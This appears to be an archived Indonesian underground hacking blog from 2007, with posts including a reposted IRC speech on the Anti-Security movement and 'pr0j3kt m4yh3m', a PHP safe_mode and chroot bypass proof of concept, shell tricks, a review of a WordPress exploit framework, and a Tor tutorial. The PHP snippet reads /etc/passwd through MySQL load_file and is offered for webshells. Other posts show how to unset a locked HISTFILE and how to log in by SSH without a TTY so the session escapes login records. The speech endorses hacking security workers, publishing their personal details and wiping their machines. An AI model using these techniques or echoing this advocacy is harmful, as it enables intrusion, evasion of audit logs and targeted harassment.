Kecoak Elektronik Indonesia

October 30, 2007

The Anti-Security Movement

Filed under: Underground — staff @ 2:45 am

Para maniak underground di Indonesia mungkin pernah ada yang mendengar tentang istilah Anti-Security Movement, atau pr0j3ct m4yh3m, dsb. Sebagian tahu mengenai masalah ini, namun sebagian lain belum tahu kejelasan nya dan penasaran tentang ‘apa itu project mayhem dan anti-sec movement?’. Berikut ini akan diberikan penjelasan singkat dari stryfe mengenai hal tersebut, penjelasan (they called it, speech) tersebut di record oleh salah seorang anggota underground juga pada site nya, versi asli bisa ditemukan disini. Dan sebagai informasi, stryfe merupakan salah satu anggota kelompok underground pendukung pr0j3ct m4yh3m.

———————————————————– Begin ——————————————————–

This is a speech by a good friend New7yp3 in an IRC chatroom about the Anti-Security Movement…
His Screen Name in the IRC is Strayfe:
The tags are voided out by the stupid filter so I’ll only show N3w7yp3s speech… the questions will follow

strayfe: okay
The speech is starting now
Okay, to quickly recap some definitions
For the duration of my talk, the following definitions will apply:

Whitehat: works for the security industry, gets paid to legally hack in into systems, may also audit code for a company like CORE SDI, ISS, etc.
I’d like to amend that by saying they also post exploit code on sites like milw0rm.packetstorm/securityfocus/etc/etc

Blackhat: someone who hacks for a hobby, does not post exploits publically, does not work for a security company

Now, the security industry is evil.
They lie to their clients, the public and the media
They don’t care about computer security at all; they just care about money.
They *want* the world to be insecure.
After all, if the world was completly secure, they wouldn’t have a job now would they?

—N3w7p3 is distracted by idiots—

So, as I was saying, if the world was prefectly secure, they’re out a job.
They’d have no place in the world.
They directly contribute to insecurity and they feed the script kiddies.

Look at it logically. The whitehats post fully functional exploit code to widley known web sites, exploit code that can be downloaded by anyone and immedatly used to start owning boxen.
If the whitehats would stop doing this, the script kiddies would have *far* less ammo then they used to.
They’d eventually die off (even though very slowly)
Now, the whitehats don’t want this to happen.
Because, again, they’d be out a job.
So, the whitehats perpetuate the cycle. They work to get the exploits into the hands of script kiddies, so a lame company get a box or two owned, and then call a security company to get a pen test done.
And the security company walks away with a new bundle of cash
Eventually certain people got tired of this.
And they started what’s known as the anti-security movement.

—More stupid Crap…prolly distracting—

The idea here was to stop posting exploits, stop feeding the whitehats, and stop all communication between what was left of the hacker “underground” and the security industry.
Bear in mind this was circa 2000ish, when there actually still was a very active “underground”
The anti-security movement was intended for people who took the moderate stance. People who didn’t like how things were working out, and wanted to try to change things. Oddly enough, some whitehats even adopted it, seeing the truth behind it.

There was another idea that also started however. It’s a bit more widley known. pr0j3kt m4y3m was started by el8 in an attempt to destroy the security industry.
To destroy it by force.
The idea was to own all the whitehats you could, drop their d0x, steal their 0days (if they had any) and rm their box.

After all, if a whitehat can’t protect their home LAN (which one would expect to be a bastion of security), who would hire them for a pen-test and expect them to do a good job?
pr0j3kt m4yh3m was intended to shake the confidence of the IT industry in the security industry.
Eventually it moved away from el8 and spread to #phrack@EFNet after #phrack@EFNet was taken over by a group calling themselves the Phrack High Council
They were sort of a front group for pr0j3kt m4yh3m, publicly prompting it’s values through their site phrack.ru (which as down now as crg gave the domain to shiftee and xtx has to get it back)
Jim Jones picked up on pr0j3kt m4yh3m and spread it to the hack.co.za channel #darknet
later Jim Jones changed his nick to The_Unix_Terrorist, left #darknet and became affiliated with GOBBLES. Hew gave the famous “wolves among us” speech with GOBBLES and silvio at DEFCON X
For a speech that essentially made all the points I made earlier about whitehats, it was quite well received by the audience, most of whom were in fact security professionals themselves.
Today, in many sites like HTS, HBH, etc etc, blackhats are regarded as script kiddies, while it’s cool to be a whitehat and they’re regarded as the “real hackers”
Why should we all become whitehats? What has the security industry ever done to benefit the internet at large? They post public exploits for the script kiddies, they spread lies and propaganda about hackers, they’ve turned a fun hobby into a get rich quick scheme were if you have a CEH people think you’re qualified, and they work to destroy the underground that gave birth to them.
Look at the Honeynet Project for a moment.
The idea is to set up networks of “research honeypots” to entrap the blackhat community and “study” their motives and tactics.
All the honeynet project catches are the really dumb, lame script kiddies
the kinds who have trouble with ./configure && make
Really, who else goes around mass brute forcing SSH logins or scanning /8’s and /16’s for vulns that are 3 or 4 years old?
they catch kids who still use that old rpcstatd overflow FFS
They never produce anything worth reading and yet the beg for funding and complain when they can’t get it.

Hmm, I wonder why? It’s such a feat to catch botnet herders from the .ro or .br.
Take a look at Phrack magazine really quick. While it is getting better, for a while every article in an issue was written by a corporate whitehat.
Phrack founded itself upon the principles that it was “for hackers by hackers”
How do things like sebek fit into that category? sebek is intended to spy on hackers, and while it can be subverted to be a rootkit in the traditional sense of the word, there are better ones avalaible.
But yea, sebek was the the honeynet project’s idea to spy on the hackers they trap. Too bad it was easy to detect for any one who had a small understanding of computers.
It hooked the read and write syscalls, and replaced them with it’s own versions. It also messed up the distance between them and it was easy to write a small C program to detect sebek.
So much for their “undetectable” solution.
The worst are the people that were “underground” hackers at one time and then turned their backs on the scene and their friends and sold out to the corporate side

They work against people who are exactly like they are.

They decry people who illegally enter systems when a few short years ago they were doing exactly the same thing.

They work against their former friends. They ruin perfectly good exploits by thoughtlessly posting them on Full-Disclosure in an attempt to make a name for themselves.

They post crappy code in the public domain in an attempt to make a name for themselves.

what they used to do for free they put a price tag on.

They sold their souls for money.

The security industry is the single biggest fear mongering market on the planet.
They use fear of hackers to motivate people to buy their services and products.
Now, a lot of the bigger companies like Symantec, CORE SDI, ISS, etc etc have active 0day research and development teams
They have teams of highly skilled individuals who audit code for a living, finding vulns in popular applications that are in the public domain.
Things like Apache, OpenSSH, the Linux kernel, IIS, etc etc
They then use these exploits in what special “0day penetration tests”
After they own the clients network they impress upon them the fact that it was very easy to do so and that there are 0day exploits actively circulating amongst the blackhats, and they could just as easily own the network.
They charge a huge amount of money for 0days tests, usually at least $15,000
When it comes time for their mitigation report, they have to offer a solution besides “don’t use the vuln service”
Usually it’s along the lines of “buy this product of ours, for a mere $20,000 you can be completely protected”
Then they go a publish a new vulnerability, come back and tell the client “oh yes, a new exploit was discovered and is public, now you need to pay for a service upgrade.”

It all comes back to the fact that they don’t want secure computers.
They thrive on a state of insecurity and fear.
Every new major exploit (recently safari and IE exploits) and very new worm or virus undergoes the predictable media hype

they just care about the quarterly return.
the share holders
and the vacation homes of their CEO

Why should you help those who don’t help you?

Why help those who want to destroy you?

Why help those who would love to use you as an example to strip up media hype to drive up their quarterly gains?

:::::QUESTIONS:::::

Revolt: hasn’t the phrack magazine ended?
strayfe: no
phrack 64 was just released recently
Revolt: ah ok
and project mayhem?asdf: strayfe, is project mayhem still active? (cba to type it out with numbers and shit)
Revolt: did they get a load of whitehats?
strayfe: yes and yesRevolt: 1 more question
strayfe: yes
and go ahead
Revolt: you said the underground was active at like ~2000
isn’t it very active now?
and if not..do you know why?
Strayfe: not compared to what it once was
because of the whitehats.
sites like HBH tell people it’s evil to go actually hack
and they listen and never develop and real skills.
Revolt: i c

lesserlights: so could you name some groups that were active in the underground ~2000 and some active currently, for comparison?
Strayfe: They never delve down into the lower levels of programming and learn about things like adjacent memory overflows, and innovate new techniques

———————————————————– End ——————————————————–

Taken from http://blog.myspace.com/anarchialreverend.

October 29, 2007

[PHP] Image Photo Gallery

Filed under: Code Exploration, Programming, Tips 'n Trick — Cyberheb @ 11:49 pm

Ipen wrote tutorial about how-to create Image Photo Gallery using PHP on forum Kecoak Elektronik Indonesia, check his code and tutorial here.

October 23, 2007

More on reCaptcha

Filed under: Websecurity — Cyberheb @ 4:20 am

After some simple explanation regarding re-captcha on this blog few months ago, I still had some question on my head (funny indeed, explain it but doubt about it’s ability) regarding it’s theory behind the implementation. The question by me at that time was, the chance to beat the re-captcha is 50% by coincidence. 2 words, one is known for it’s answer and the other’s are being solved. We don’t know which one is solved and which one is not solved yet.

I haven’t looked deeper into the source or API for re-captcha, but some of experiment on random chance proved that answers are accepted by system, even if one of the answer was false. No need to argue about if both answer are false, the system would definitely reject it, but if one of them are right and the words is ‘known’ words then system would accept it.

The problem would be…how can the bot find out the known words?it seem like the same question when the first captcha appear on public, “how can the bot crack the captcha”?

And sometimes later, the algorithm to break captcha available for public bot. So, it’s not impossible that someday later we can find the algorithm to break the ‘known words’ for re-captcha, isn’t it?

Even we can conclude that breaking known words for re-captcha would bypass the challange, it still difficult to break those known words. Known words on re-captcha come from solved words by people around the world, so no static algorithm is used to create the captcha, it just “unsolved words by OCR which has been solved by human eyes”. So, quite impossible to develop application which can read that known words.

Well, nothin impossible in security world. At least we can conclude that if we can break the known words of re-captcha, then no need to even try break the unknown words cause system will accept our answer. Not easy, but not impossible, right?!

October 22, 2007

Safe mode PHP and apache chroot bypass

Filed under: 0day, Underground, Websecurity — staff @ 7:03 pm

Someone /at/ kecoak elektronik just lost his private 0day, the 0day technique to bypass safemode php and apache chroot using mysql has been leaked and publish on public disclosure site. No need to keep it anymore, so he just released the PoC to the public:

——————- Cut here ————————

<?php
/*
It has been a while i make this exploit to be a private collection
I use this exploit to bypass :
- Safe_mode PHP all version
- By default install apache in OpenBSD 3.x (dunno exactly) is chroot in /var/www/
Tested :
Ubuntu 6.06 - Fedora Core 5 - OpenBSD 3.9
By : Someone [at] k-elektronik
*/


echo “safe_mode = ” . ini_get(’safe_mode’) . “\n”;
$conn = mysql_connect(”localhost”, “root”, “rahasia”);
$result = mysql_query(”select load_file(\”/etc/passwd\”) as password”);
while($row = mysql_fetch_object($result))
echo $row->password;

?>

——————- Cut here ————————

Just play around do_system() function to get the system command executed. Take the vi and put those function on ur webshell.

[tips n trick] ReadOnly environment variable bypass

Filed under: Tips 'n Trick, Underground — staff @ 6:34 pm

Someone /at/ k-elektronik gives simple method to bypass restricted readonly environment variables on target machine. He gives simple case where an admin could restrict the access to HISTFILE. Here’s the simple PoC to bypass the restriction:

——- Cut here ———-

[~]$ cat /etc/profile|grep readonly
readonly -a HISTFILE
readonly HISTFILESIZE
readonly HISTSIZE
readonly HISTIGNORE
readonly PATH
readonly bash

[ ~]$ echo $HISTFILE
/home/audit/user.history
[~]$ unset HISTFILE
-bash: unset: HISTFILE: cannot unset: readonly variable
[~]$ sh
sh-3.1$ echo $HISTFILE
/home/audit/user.history
sh-3.1$ unset HISTFILE
sh-3.1$ echo $HISTFILE

sh-3.1$ echo bypassed
bypassed
sh-3.1$

——- Cut here ———-

The other trick could be login into the server without invoking tty, login without invoking tty also wouldn’t logged in utmp, wtmp, lastlog, and also bypass the restriction on /etc/profile. Here’s how to login into system without invoking the tty:

$ ssh -T -l <user> <IP> “/bin/sh -i”

Taken from: http://kecoak-elektronik.net/forum/viewtopic.php?t=1006

October 9, 2007

Exploit wordpress oleh LMH

Filed under: Code Exploration, Eksploit, Underground, Websecurity — Cyberheb @ 3:00 pm

Pada salah satu sesi chatting, ada pertanyaan yang cukup menarik:

anon: mas, tau gak tentang pwnpress?
h3b: apa tuh?
anon: exploit untuk wordpress, yang buat LMH
h3b: oya?biasa nya tools buatan LMH menarik tuh
anon: iya, cuman ada yang aneh…kok sering failed nya ya?
h3b: emang gak ada manual help nya?
anon: ada sih help nya, cuma sring failed dan kyk nya gak stabil…coba dech lihat, ada di milw0rm tuh
h3b: liat dulu ya…jd penasaran

Exploit pwnpress nya LMH dapat download di sini . Tools-tools dari LMH biasa nya unik, dan untuk pwnpress ini sendiri juga cukup unik, salah satu yang unik nya…untuk menjalankan exploit ini harus menggunakan nama pwnpress.rb. Disatu sisi, ada sebagian pihak yang berpendapat hal ini menunjukan betapa lamme nya si pembuat exploit, padahal kan bisa di buat agar code di eksekusi dengan menggunakan nama apapun (kadang kita copy-paste source dari milw0rm dan save-as dengan nama yang sesuai kehendak) dan tidak masalah, namun untuk pwnpress dari LMH ini code exploit harus di simpan sebagai pwnpress.rb, dan eksekusi program harus menggunakan nama ini. Ini bisa kita lihat dari source code nya:

if $0 =~ /pwnpress.rb/
require ‘optparse’

OPTIONS = {}

def vputs(msg)
if OPTIONS[:verbose]
puts “+> #{msg}”
end
end

Pada bagian inilah proses exploitasi akan dimulai, dan bagi yang tidak membaca source code nya akan mengalami kebingungan sesaat (including me, LOL). Tapi di sisi lain, ini salah satu tipikal seseorang yang memiliki keunikan tersendiri dengan tujuan agar code buatan nya tidak cuma di jalankan begitu saja (script kiddies style), namun kita harus membaca source code nya terlebih dahulu sebelum menggunakan code exploit tersebut. Saya tidak tahu LMH masuk pada bagian yang mana, namun yang pasti…tools-tools buatan LMH selain unik juga terstruktur dengan sangat rapih dan apik, pada pwnpress bisa kita lihat bagaimana source code program nya yang terstruktur dengan baik, plus komentar-komentar men-detail dengan mencantumkan referensi-referensi berdasarkan hole wordpress yang telah ditemukan sebelumnya, serta efisiensi penggunaan source code (penggunaan symbol sebagai variable di ruby sebagai contoh, menunjukan bahwa code program tersebut lebih efisien dibandingkan penggunaan string yang menghabiskan lebih banyak resource memory). Walaupun LMH terkenal dengan underground style nya, namun kemampuan coding nya setipe dengan coder profesional, well…security profesional ;).

Oke, enough, kembali ke topik. Jika kita coba praktekan exploit tersebut, memang akan muncul keanehan seperti yang dirasakan oleh lawan bicara saya di chat tersebut, dimana kadang exploit mengalami kegagalan dengan pesan error yang gak jelas, kadang dia gagal melakukan fingerprinting, kalaupun berhasil cuma menampilkan informasi yang kesan nya lamme, apabila target merupakan blog wordpress yang telah hardly customize maka pwnpress tidak bisa melakukan apapun, dsb. Benarkah?!yup, apabila dilihat sepintas memang seperti itu, namun sekali lagi…jika kita memperhatikan source code nya maka pwnpress lebih dari sekedar exploit biasa (yang diasumsikan sebagai exploit sekali jalan, eksekusi dan dapat hasil). Dari source code tersebut, saya melihat pwnpress merupakan suatu template, atau lebih tepat nya…framework untuk exploitasi wordpress. Ada 2 bagian besar pada pwnpress, yaitu scanning (lebih tepat nya adalah, fingerprinting) serta exploitasi. Disamping itu juga terdapat cukup banyak method-method menarik yang digunakan untuk proses scanning dan exploitasi tersebut, diantara nya adalah menambahkan method baru untuk salah satu class utama ruby, Class Array dan Class String.

Kita dapat memahami proses kerja nya yang dijelaskan dengan mendetail (ini tipikal seorang coder yang baik dan profesional) pada exploit tersebut, metode-metode yang digunakan untuk fingerprinting versi wordpress target (via meta_generator, rss_feed_links, rss2_generator, atom_generator, serta isi page yang biasa nya terdapat “powered by wordpress”), metode exploitasi dengan mengacu pada “known vulnerablities” di wordpress, randomisasi user agent, randomisasi ip_address penyerang, dsb. Hal-hal inilah yang membuat pwnpress bukan sekedar exploit biasa, namun lebih kepada framework. Dengan menggunakan pwnpress, kita dapat menambahkan sendiri tipe fingerprinting untuk bisa mendapatkan versi wordpress yang diinginkan, menambahkan jenis exploit berdasarkan hole yang telah diketahui maupun yang belum diketahui, menambahkan metode-metode tambahan, dll. Pwnpress dapat di-customize sesuai dengan perkembangan wordpress serta pengetahuan kita untuk melakukan eksploitasi pada target, inilah seni dari exploit pwnpress milik LMH.

LMH mencuat nama nya berkat MoAB (Month Of Apple Bugs), beberapa waktu lalu pun sempat terjadi debat pendapat mengenai identitas LMH, jika dilihat sepintas mengenai variasi bidang yang disentuh oleh LMH maka tidak heran ada yang berpendapat bahwa LMH hanyalah nick yang digunakan oleh beberapa orang. Namun penguasaan beberapa bidang bukan sesuatu yang aneh dikalangan underground, terlepas dari hal itu…saya pribadi salut dengan keunikan code-code yang dihasilkan oleh LMH dimana disertai dengan dokumentasi singkat dan efisien namun padat sehingga mempermudah kita mencerna proses kerja code-code tersebut, paling tidak kita bisa melihat hasil nya dari interface web metasploit (msfweb) yang merupakan salah satu hasil kerja LMH ;).

Oh iya, tidak perlu dijelaskan panjang lebar mengenai isi code pwnpress.rb, silahkan baca sendiri karena dokumentasi proses kerja nya sudah akurat, bahasa pemrograman yang digunakan adalah ruby. Ruby menggunakan pendekatan “bahasa manusia” dengan konsep “bahasa inggris (english)” sehingga cukup mudah mencerna code-code tersebut. Sisa nya adalah kemauan untuk membaca.

October 8, 2007

Tor (The Onion Routing)

Filed under: Journal, Tips 'n Trick, Tools Review — Cyberheb @ 8:26 pm

Hi newbies, saya akan coba untuk menjelaskan secara ringkas namun (hopefully) jelas mengenai tor, tools anonymity yang saat ini sudah mulai banyak digunakan baik oleh publik ataupun private party. Segala hal tentang tor bisa kalian peroleh dari internet, termasuk dari situs resmi nya yang menyediakan informasi lebih akurat mengenai tor, apa yang saya jelaskan disini hanyalah ringkasan dari cukup banyak official article mengenai tor.

Tor dapat kalian donwload dari situs resmi nya di sini. Saat ini aplikasi tor tidak berdiri sendiri, namun sudah di bungkus dengan beberapa aplikasi tambahan, dan salah satu bundle aplikasi yang paling populer adalah vidalia. Bagi para pengguna M$ Windows dan Mac OSX dapat langsung mencoba paket vidalia tersebut yang inti nya terdiri dari tor dan privoxy (proxy server), sedangkan untuk pengguna linux diberikan source nya untuk compile dan build sendiri.

Awal kemunculan tor adalah untuk memfasilitasi user-user awam yang hendak berselancar di internet agar identitas serta tingkah laku nya tidak dapat di analisis. Banyak pihak yang menginginkan hasil analisis tersebut, diantara nya adalah perusahaan dan pemerintah. Jika kita mau care sedikit, maka hampir semua website yang kita kunjungi memiliki hubungan dengan Google, hampir di setiap website ada google-analytics. Fasilitas ini digunakan oleh google untuk berbagai keperluan diantara nya statistic tingkah laku pengguna internet selama berselancar, sehingga dapat di hitung statistic nya mengenai jenis website apa saja yang dikunjungi oleh user, informasi apa saja yang dibutuhkan oleh user dengan kriteria tertentu (anak-anak, remaja, dewasa, dll), kata kunci apa saja yang sering digunakan oleh user tersebut, dimana alamat email nya, forum apa saja yang sering di ikuti, dll. Inilah yang dimaksud dengan traffic analysis, hal ini bisa dilakukan salah satu nya adalah karena user umum nya menggunakan alamat IP yang bersifat statis, sehingga lebih mudah untuk dianalisis gerak-gerik nya selama berselancar di internet. Belum lagi adanya aktivitas sniffing oleh pihak-pihak tertentu (government, criminal) di jalur-jalur yang kita lewati saat berhubungan dengan internet. Untuk itulah kita membutuhkan suatu anonimitas saat berhubungan dengan internet, dengan menggunakan informasi source IP yang tidak statis (dinamis) paling tidak akan mengurangi dampak dari traffic analysis tersebut, inilah salah satu tujuan dari tor.

Aplikasi untuk menjaga anonimitas di internet saat ini ada banyak, namun umum nya bersifat centralized, dimana kita menggunakan fasilitas yang disediakan oleh pihak lain untuk berselancar di internet. Dengan adanya fasilitas ini maka lokasi asli kita akan disembunyikan, yaitu dengan menyembunyikan alamat source IP. Aplikasi yang paling umum adalah dengan menggunakan proxy, berikut ilustrasi saat menggunakan proxy:

Proxy Anonymity

Teori mudah nya, kita menghubungi mesin lain yang kemudian akan menjadi jembatan untuk mencapai server tujuan. Dengan begitu, maka pada log server tujuan hanya tercatat pengakses berasal dari mesin yang menjadi jembatan tersebut. Inilah yang disebut dengan anonymous proxy. Anonymous proxy ada banyak jenis nya, bahkan ada yang menggunakan beberapa server sehingga dapat mengakomodasikan pengguna nya untuk terus bergonta-ganti IP Address selama berada di internet

Tipe anonymous proxy dengan centralized tersebut memiliki kelemahan, yaitu data kita sebagai pengguna proxy tersebut akan tercatat pada mesin proxy, sehingga keberadaan kita tetap dapat di trace terutama apabila pihak yang menginginkan log nya berasal dari pihak kuat seperti government.

Untuk tehnik anonymitas yang lebih kuat, dibutuhkan suatu mekanisme untuk enkripsi data yang kita kirimkan ke internet dengan sifat mix atau tersebar. Dengan metode ini, maka jika data kita dapat di crack pada suatu titik tetap tidak bisa didapatkan data yang utuh karena untuk mendapatkan keseluruhan data tersebut membutuhkan seluruh titik sebagai pembuka kunci nya. Berikut ini ilustrasi dari metode enkripsi yang memanfaatkan beberapa titik sebagai kunci nya:

Basic Schaum

Schaum Encrypt

Schaum Decrypt

Pada gambar-gambar diatas, kita dapat melihat metode standar dari enkripsi schaum. Pada ilustrasi tersebut, setiap message akan melewati 3 buah mesin pemegang kunci, dan setiap message melewati satu mesin akan langsung di enkripsi oleh mesin tersebut. Dengan metode ini maka dibutuhkan 3 buah mesin untuk membuka message tersebut, sehingga apabila hanya satu buah mesin di kuasai…message tidak dapat di decrypt. Tor menggunakan pendekatan semacam ini untuk metode enkripsi nya

Anonymous proxy yang bersifat centralized memiliki kelemahan apabila server proxy nya dipaksa untuk membuka log siapa saja yang mengakses proxy tersebut, maka keberadaan pengguna dapat diketahui. Sehingga di butuhkan metode dimana data dari user melewati server-server yang juga bersifat anonymous, sehingga tidak ada yang tahu data user melewati titik mana saja.

Pendekatan enkripsi schaum secara tradisional juga memakan resource yang cukup besar, karena si penyedia teknologi anonymitas harus memiliki cukup banyak mesin untuk enkripsi data, disamping itu jika pihak penyedia teknologi ini juga dipaksa untuk memperlihatkan log dari seluruh sistem milik nya, maka anonymitas kita dapat segera dibongkar. Untuk inilah, design tor dibuat dengan mengandalkan sumbangan/kontribusi dari pihak-pihak di seluruh dunia untuk menyediakan mesin-mesin yang dapat dijadikan batu loncatan oleh pengguna tor sebelum mencapai server tujuan nya. Namun jika hal ini diimplementasikan tanpa menggunakan enkripsi akan percuma, sebab setiap mesin yang dijadikan batu loncatan dapat membaca data user tersebut. Untuk itulah tor menggunakan pendekatan metode schaum diatas untuk enkripsi data nya. Sehingga mesin-mesin di tengah arena loncatan tor menuju server tujuan tidak dapat membaca isi data user pengguna tor, bahkan mesin-mesin yang disebut virtual circuit itu tidak dapat mengetahui data user melewati mesin mana saja. Inilah salah satu keunggulan tor, memanfaatkan mesin-mesin kontribusi masyarakat seluruh dunia, dan tidak ada yang mengetahui jalur mana saja yang dilewati oleh data user tersebut selain user pengguna tor itu sendiri.

Pada praktek nya, saat awal proses inisialisasi maka tor client akan mendownload informasi seluruh mesin-mesin yang terdaftar pada jaringan tor dari suatu directory server. Kita dapat ikut menentukan direktori server tersebut, namun secara default directory server tor akan diambil dari moria2 dan tor26. Direktory server tersebut akan memberikan list mesin-mesin mana saja dalam jaringan tor yang dapat digunakan sebagai virtual circuit, dan mesin-mesin mana saja yang bersedia menjadi tor-exit-node, yaitu titik keluar pada jaringan tor yang berhubungan langsung dengan server tujuan. Berikut ini ilustrasi dari perjalanan paket dari tor client hingga server target yang hendak di tuju:

vc1

vc2

vc3

tor-exit

Dari ilustrasi diatas, kita dapat melihat proses tor saat membentuk virtual circuit saat inisialisasi awal. Setelah tor mendapatkan informasi server mana saja yang tergabung dalam tor network dari directory server, maka tor akan menggunakan suatu algoritma tertentu untuk memilih server-server mana saja yang dapat dijadikan virtual circuit. Pada gambar pertama, tor telah memilih virtual circuit pertama dan melakukan inisialisasi enkripsi dengan mesin tersebut, setelah virtual circuit pertama terbentuk maka tor akan menggunakan VC1 tersebut untuk mencari VC2 (Virtual Circuit ke-2). Setelah menentukan VC2 maka tor akan melewatkan data melalui VC1 untuk tukar menukar informasi mengenai enkripsi yang digunakan dengan VC2, setelah circuit terbentuk maka tor akan mencari VC3 melalui VC1 & VC2. Dan setelah semua virtual circuit terbentuk (umum nya 3), maka tor akan meng-informasikan user bahwa virtual circuit telah terbentuk dan tor siap untuk melewatkan data ke tujuan

Data user (misal: aplikasi http dari web browser) akan melewati VC1+VC2+VC3 sebelum mencapai server yang dituju, misal nya Google. Dan setiap melewati Virtual Circuit data akan di enkripsi dengan kunci yang berbeda-beda, sehingga apabila salah satu VC di crack tidak bisa membaca data tersebut, bahkan si penyedia Virtual Circuit tidak dapat membaca data yang lewat. Setelah mencapai Virtual Circuit terakhir (biasa disebut tor-exit-node), maka data akan dikembalikan dalam bentuk awal nya untuk kemudian di kirimkan ke server tujuan. Sehingga komunikasi antara tor-exit-node dengan server tujuan dalam bentun tidak terenkripsi. Di sinilah letak kelemahan tor.

Secara default, aplikasi vidalia akan instal tor plus privoxy (proxy server). Tor sendiri akan membuka port client (default) di port 9050 dengan tipe socks proxy, dan port 9051 sebagai control port untuk kebutuhan tor itu sendiri. Dari sudut pandang client, port 9050 tor dapat dimanfaatkan apabila aplikasi client bisa berkomunikasi dengan tipe socks proxy, namun tidak semua aplikasi dapat berkomunikasi dengan socks proxy sehingga tidak dapat memanfaatkan jalur tor. Untuk itulah digunakan privoxy, privoxy akan menjadi jembatan dalam mesin localhost miliki kita (dengan asumsi, tor tidak di relay) untuk menerima request dari port http untuk kemudian diteruskan melalui port socks. Jadi pada aplikasi internet milik kita (seperti web browser), cukup arahkan ke port privoxy (localhost:TCP:8118) dan kemudian data akan di jembatani oleh privoxy menuju (localhost:SOCKS:9050) dimana tor sudah menunggu.

Tor memiliki file konfigurasi yang biasa disebut torrc, untuk yang menggunakan vidalia dapat langsung menunjuk lokasi konfigurasi tor:

torrc-vidalia

Umum nya tor dapat langsung bekerja dengan baik tanpa perlu kutak-katik file konfigurasi nya, namun jika kita menginginkan kemampuan lebih dari tor tersebut maka kita harus membaca secara menyeluruh isi file konfigurasi (umum nya sudah termasuk dalam paket tor), pada file konfigurasi juga terdapat comment yang akan membantu kita dalam melakukan proses konfigurasi tor. Banyak hal yang dapat di customize melalui file konfigurasi ini, seperti pemilihan tor-exit-node agar sesuai dengan kehendak kita, pemilihan virtual circuit, time-out untuk berganti-ganti virtual circuit, konfigurasi tor sebagai server, dll. Bisa kalian baca sendiri secara jelas pada konfigurasi nya.

Tor juga menyediakan berbagai level LOG untuk proses troubleshooting, melalui LOG ini jugalah kita dapat melihat bagaimana tor bekerja. Berikut ini contoh LOG pada salah satu sesi tor milik saya:

Sep 20 23:04:27.670 [notice] Tor 0.1.2.15 opening log file.
Sep 20 23:04:27.670 [info] or_state_load(): Loaded state from “/Users/cyberheb/tor/state”
Sep 20 23:04:27.673 [info] crypto_seed_rng(): Seeding RNG from “/dev/urandom”
Sep 20 23:04:28.286 [info] router_load_routers_from_string(): 759 elements to add
Sep 20 23:04:28.634 [info] router_load_routers_from_string(): 461 elements to add
Sep 20 23:04:28.858 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “lefkada” at 140.247.60.64:80 (published 2007-09-20 17:41:46)
Sep 20 23:04:28.858 [info] networkstatus_list_update_recent(): Networkstatus from directory server “lefkada” at 140.247.60.64:80 (published 2007-09-20 17:41:46) is now “recent”
Sep 20 23:04:28.882 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “moria2″ at 128.31.0.34:9032 (published 2007-09-20 17:41:31)
Sep 20 23:04:28.882 [info] networkstatus_list_update_recent(): Networkstatus from directory server “moria2″ at 128.31.0.34:9032 (published 2007-09-20 17:41:31) is now “recent”
Sep 20 23:04:28.908 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “dizum” at 194.109.206.212:80 (published 2007-09-20 17:41:31)
Sep 20 23:04:28.908 [info] networkstatus_list_update_recent(): Networkstatus from directory server “dizum” at 194.109.206.212:80 (published 2007-09-20 17:41:31) is now “recent”
Sep 20 23:04:28.933 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “tor26″ at 86.59.21.38:80 (published 2007-09-20 17:43:07)
Sep 20 23:04:28.933 [info] networkstatus_list_update_recent(): Networkstatus from directory server “tor26″ at 86.59.21.38:80 (published 2007-09-20 17:43:07) is now “recent”
Sep 20 23:04:28.958 [info] router_set_networkstatus(): Setting networkstatus cached from directory server “moria1″ at 128.31.0.34:9031 (published 2007-09-20 04:14:58)
Sep 20 23:04:28.958 [info] routerstatus_list_update_from_networkstatus(): Rebuilding router status list.
Sep 20 23:04:28.994 [info] entry_guards_compute_status(): Summary: Entry ‘h762626′ is reachable, usable and live.
Sep 20 23:04:28.994 [info] entry_guards_compute_status(): Summary: Entry ‘confector’ is reachable, usable and live.
Sep 20 23:04:28.994 [warn] Please upgrade! This version of Tor (0.1.2.15) is obsolete, according to 3/3 version-listing network statuses. Versions recommended by at least 1 authority are: 0.1.2.17, 0.2.0.6-alpha
Sep 20 23:04:28.999 [notice] We now have enough directory information to build circuits.
Sep 20 23:04:29.008 [info] circuit_predict_and_launch_new(): Have 0 clean circs (0 internal), need another exit circ.
Sep 20 23:04:29.009 [info] choose_good_exit_server_general(): Found 604 servers that might support 0/0 pending connections.
Sep 20 23:04:29.009 [warn] You specified a server “aquatorius” by name, but this name is not registered, so it could be used by any server, not just the one you meant. To make sure you get the same server in the future, refer to it by key, as “$5BC3A14A5536392B16E0596710DE03173D70656A”.
Sep 20 23:04:29.009 [info] choose_good_exit_server_general(): Chose exit server ‘aquatorius’
Sep 20 23:04:29.009 [info] add_an_entry_guard(): Chose ‘piktor’ as new entry guard.
Sep 20 23:04:29.009 [info] log_entry_guards(): h762626 (up made-contact),confector (up made-contact),piktor (up never-contacted)
Sep 20 23:04:29.011 [info] or_state_save(): Saved state to “/Users/cyberheb/tor/state”
Sep 20 23:04:30.011 [info] circuit_predict_and_launch_new(): Have 1 clean circs (0 internal), need another exit circ.
Sep 20 23:04:30.012 [info] choose_good_exit_server_general(): Found 604 servers that might support 0/0 pending connections.
Sep 20 23:04:30.012 [info] choose_good_exit_server_general(): Chose exit server ‘aquatorius’
Sep 20 23:04:31.013 [info] circuit_predict_and_launch_new(): Have 2 clean circs (0 uptime-internal, 0 internal), need another hidserv circ.
Sep 20 23:04:31.461 [info] circuit_send_next_onion_skin(): First hop: finished sending CREATE_FAST cell to ‘piktor’
Sep 20 23:04:31.461 [info] circuit_send_next_onion_skin(): First hop: finished sending CREATE_FAST cell to ‘piktor’
Sep 20 23:04:31.824 [info] circuit_send_next_onion_skin(): First hop: finished sending CREATE_FAST cell to ‘h762626′
Sep 20 23:04:32.020 [info] circuit_predict_and_launch_new(): Have 3 clean circs (1 uptime-internal, 1 internal), need another hidserv circ.
Sep 20 23:04:32.152 [info] circuit_finish_handshake(): Finished building fast circuit hop:
Sep 20 23:04:32.152 [info] exit circ (length 3, exit aquatorius): $8CFD0BC987576D41E52DE858246CF5C6B8BE63D1(open) $E0FC602A1B38969173D11591E40AA94A83975049(closed) $5BC3A14A5536392B16E0596710DE03173D70656A(closed)
Sep 20 23:04:32.160 [info] circuit_finish_handshake(): Finished building fast circuit hop:
